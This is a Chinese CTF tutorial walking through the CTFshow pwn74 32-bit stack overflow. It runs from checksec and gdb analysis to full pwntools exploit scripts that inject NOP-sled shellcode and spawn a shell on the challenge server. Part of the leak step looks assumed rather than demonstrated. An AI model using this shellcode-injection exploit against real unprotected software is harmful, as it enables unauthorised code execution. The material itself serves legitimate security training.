1. 项目概述
今天我们来拆解CTFshow平台上一个经典的栈溢出题目——pwn74。这道题是PWN入门学习中非常典型的32位栈溢出案例,适合刚接触二进制安全的同学练手。我在实际解题过程中发现,它完美展现了栈溢出漏洞的基本利用模式,从漏洞分析到最终getshell的完整链条都很清晰。
这道题运行在x86架构的32位Linux环境下,程序本身没有开启任何保护机制(如NX、ASLR、Canary等),是学习栈溢出原理的理想实验对象。通过这个案例,我们可以掌握基础的栈帧结构、函数调用约定、shellcode编写和ROP链构造等核心技能。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初步分析
2.1 实验环境搭建
首先需要准备以下工具链:
- Ubuntu 18.04/20.04虚拟机(推荐)
- gdb-peda增强版调试器
- pwntools Python库
- checksec工具
- objdump反汇编工具
安装命令示例:
bash复制sudo apt install gdb git python3-pip
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
pip install pwntools
2.2 程序基本信息检查
使用checksec检查程序保护机制:
bash复制checksec pwn74
输出结果通常显示:
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
这表明程序是32位架构,没有开启任何内存保护,意味着我们可以直接在栈上执行shellcode,且不需要考虑栈保护的问题。
3. 漏洞分析与利用
3.1 静态分析
使用objdump查看程序汇编代码:
bash复制objdump -d pwn74 -M intel
关键函数伪代码分析:
c复制void vulnerable_function() {
char buf[64];
read(0, buf, 256); // 明显的栈溢出漏洞
return;
}
这里read函数允许读取256字节数据,但目标缓冲区只有64字节,造成了192字节的溢出空间。
3.2 动态调试
使用gdb调试程序:
bash复制gdb ./pwn74
在vulnerable_function处下断点:
code复制b *vulnerable_function
run
观察栈帧布局:
code复制info frame
可以看到:
- EBP位于0xffffd0c8
- 返回地址位于0xffffd0cc
- buf起始地址为0xffffd084
计算偏移量:
0xffffd0cc - 0xffffd084 = 72字节
这意味着我们需要填充72字节垃圾数据后才能覆盖返回地址。
4. 漏洞利用开发
4.1 基础利用方案
构造payload结构:
code复制[72字节填充] + [返回地址] + [shellcode]
使用pwntools编写利用脚本:
python复制from pwn import *
context(arch='i386', os='linux')
p = process('./pwn74')
shellcode = asm(shellcraft.sh())
padding = b'A' * 72
ret_addr = p32(0xffffd084) # 指向shellcode
payload = padding + ret_addr + shellcode
p.send(payload)
p.interactive()
4.2 利用技巧优化
实际测试中发现栈地址会变化,需要动态获取:
python复制p = process('./pwn74')
p.recvuntil('input:')
p.sendline('AAAA') # 触发程序输出栈地址
leak = p.recvline()
stack_addr = int(leak.split()[0], 16)
ret_addr = p32(stack_addr + 100) # 预留空间
更稳定的shellcode布置方案:
python复制payload = padding + ret_addr + b'\x90'*100 + shellcode
5. 完整利用脚本
python复制#!/usr/bin/env python3
from pwn import *
context(arch='i386', os='linux', log_level='debug')
def exploit():
# p = process('./pwn74')
p = remote('pwn.challenge.ctf.show', 12345)
# 获取栈地址
p.recvuntil('input:')
p.sendline('AAAA')
leak = p.recvline().strip()
stack_addr = int(leak.split()[0], 16)
# 构造payload
shellcode = asm(shellcraft.sh())
padding = b'A' * 72
ret_addr = p32(stack_addr + 100)
nop_sled = b'\x90' * 100
payload = padding + ret_addr + nop_sled + shellcode
# 发送payload
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exploit()
6. 常见问题与调试技巧
6.1 栈地址不稳定问题
现象:本地测试成功但远程失败
解决方案:
- 增加NOP sled长度(100-200字节)
- 多次尝试获取稳定的栈地址
- 使用ROP技术绕过ASLR
6.2 shellcode执行失败
调试方法:
code复制gdb ./pwn74
run < payload.bin
检查:
- shellcode是否被截断
- 返回地址是否正确指向shellcode
- 是否有坏字符(如\x00)
6.3 进阶利用思路
当程序开启NX保护时:
- 使用ROP技术
- 构造system('/bin/sh')调用链
- 泄露libc地址
7. 学习资源推荐
- 《漏洞利用开发实战》- 详细讲解栈溢出原理
- LiveOverflow YouTube频道 - 实战演示
- ROP Emporium - ROP练习平台
- CTF Wiki - 中文技术文档
这个案例展示了最基本的栈溢出利用技术。在实际CTF比赛中,题目通常会设置更多保护机制和复杂场景,但核心思路是相通的。建议初学者从这个简单案例入手,逐步挑战更复杂的题目。
